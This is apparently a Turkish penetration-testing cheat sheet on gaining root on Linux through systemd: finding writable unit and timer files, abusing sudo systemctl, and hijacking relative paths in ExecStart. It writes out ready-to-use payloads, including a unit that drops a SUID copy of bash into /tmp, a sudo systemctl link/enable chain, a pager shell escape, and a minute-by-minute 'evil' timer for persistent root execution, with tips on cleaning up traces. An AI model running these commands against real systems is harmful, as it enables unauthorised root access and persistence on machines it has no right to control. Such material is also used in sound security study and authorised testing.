systemd Privilege Escalation (yazilabilir unit/timer, sudo systemctl, relative path)
Yazilabilir .service / .timer unit dosyalari, sudo ile root calistirilabilen systemctl, ve PATH/relative-path zafiyetleri uzerinden root'a yetki yukseltme. systemd timer'lari ile cron'a alternatif kalici/zamanli root yurutme.
- Hedef uzerinde bir kullanici shell'i
- systemd kullanan bir Linux dagitimi (cogu modern dagitim)
Komutlar
systemctl list-units --type=service --all systemctl list-timers --all find /etc/systemd/ /lib/systemd/ /usr/lib/systemd/ /run/systemd/ -name '*.service' -o -name '*.timer' 2>/dev/null | xargs ls -la 2>/dev/null find /etc/systemd/ /lib/systemd/ /usr/lib/systemd/ -writable -type f 2>/dev/null grep -r 'ExecStart' /etc/systemd/system/ 2>/dev/null systemctl cat <service>.service printf '[Service]\nType=oneshot\nExecStart=/bin/bash -c "cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash"\n[Install]\nWantedBy=multi-user.target\n' > {{URL}} systemctl daemon-reload; systemctl restart <service>.service /tmp/rootbash -p sudo systemctl TF=$(mktemp).service; printf '[Service]\nType=oneshot\nExecStart=/bin/sh -c "id > /tmp/output"\n[Install]\nWantedBy=multi-user.target' > $TF; sudo systemctl link $TF; sudo systemctl enable --now $TF printf '[Unit]\nDescription=evil\n[Timer]\nOnCalendar=*-*-* *:*:00\nUnit=evil.service\n[Install]\nWantedBy=timers.target\n' > /etc/systemd/system/evil.timer Senaryo
systemd, modern Linux dagitimlarinda servisleri ve zamanli gorevleri yoneten init sistemidir. Servis tanimlari unit dosyalaridir (.service) ve cogu root ile calisir. Zamanli yurutme icin cron yerine .timer unit’leri kullanilir. Eger bir unit dosyasini yazabiliyor, sudo systemctl calistirabiliyor veya bir ExecStart relative path ile yazilabilir bir binary’i cagiriyorsa, kullanicidan root’a tirmaniriz.
Enumeration
systemctl list-units --type=service --allile servisleri,systemctl list-timers --allile zamanli job’lari listele. Timer’lar cron’a alternatiftir vecrontab -lciktisina gelmez — gozden kacirma.- Unit dizinleri:
/etc/systemd/system/(en yuksek oncelik, admin tanimli),/lib/systemd/,/usr/lib/systemd/,/run/systemd/. Oncelik sirasi sömuru icin onemlidir:/etc/systemd/system/ayni isimli unit’i override eder. find ... -writable -type file yazilabilir unit dosyalarini dogrudan tespit et. Yanlis yapilandirma (grup yazma izni vb.) burada yakalanir.- Her unit’in
ExecStartsatirinigrepile incele — mutlak yol kullanmayan (relative) veya yazilabilir bir konumdaki binary’yi cagiran satirlar hedeftir.
Exploitation yollari
1) Yazilabilir .service unit
Bir unit dosyasini yazabiliyorsak, ExecStart satirina payload koyariz. En stabil yontem yine SUID bash birakmaktir. Degisikligin etkili olmasi icin systemctl daemon-reload gerekir; ardindan servis acilista calisiyorsa reboot/yeniden tetikleme ile, ya da restart iznimiz varsa elle tetikleriz. Tetikleme sonrasi /tmp/rootbash -p ile root olunur.
2) Yazilabilir binary / relative path (ExecStart)
Unit dosyasi yazilabilir olmasa bile, ExecStart yazilabilir bir binary’yi isaret ediyorsa o binary’i degistirmek yeter. Ayrica ExecStart= relative bir komut iceriyor ve servisin PATH’i bizim kontrol ettigimiz bir dizini iceriyorsa, o komut adiyla sahte binary koyarak PATH hijack yapariz (systemd relative path zafiyeti).
3) sudo systemctl
sudo -l ciktisi systemctl iceriyorsa iki yol var: (a) systemctl cikti bir pager (less/more) acarsa GTFOBins’teki gibi !sh ile pager’dan root shell’e firla; (b) gecici bir .service dosyasini sudo systemctl link + sudo systemctl enable --now ile yukleyip root komut yurut. Bu, sudo systemctl’in en guvenilir sömuru zinciridir.
4) Yazilabilir .timer (cron alternatifi)
Timer dizini yazilabilirse, periyodik tetiklenen bir .timer ve onun cagirdigi .service’i olusturup OnCalendar ile root komutlari zamanli calistiririz. Bu hem privesc hem persistence saglar.
Gotchas / Notlar
- Unit degistirdikten sonra
systemctl daemon-reloadyapmazsan systemd eski tanimi kullanir. ExecStart’ta birden fazla komut icin/bin/bash -c "..."sarmalayicisini kullan; cunku systemd;ile zincir komutu dogrudan calistirmaz.Type=oneshotSUID drop senaryolari icin uygundur; uzun calisan reverse shell icinType=simpledaha mantikli.restart/startuzerinde iznin yoksa, servisin acilista ya da bir timer ile tetiklenmesini bekle; pspy ile tetikleme anini dogrulayabilirsin.- Temizlik: olusturdugun unit/timer dosyalarini ve
/tmp/rootbash’i is bittikten sonrasystemctl disable --now+rmile kaldir. sudo systemctl status <svc>bile pager actigi icin!shile sömurulebilir — sadecerestartdegil,statusda tehlikelidir.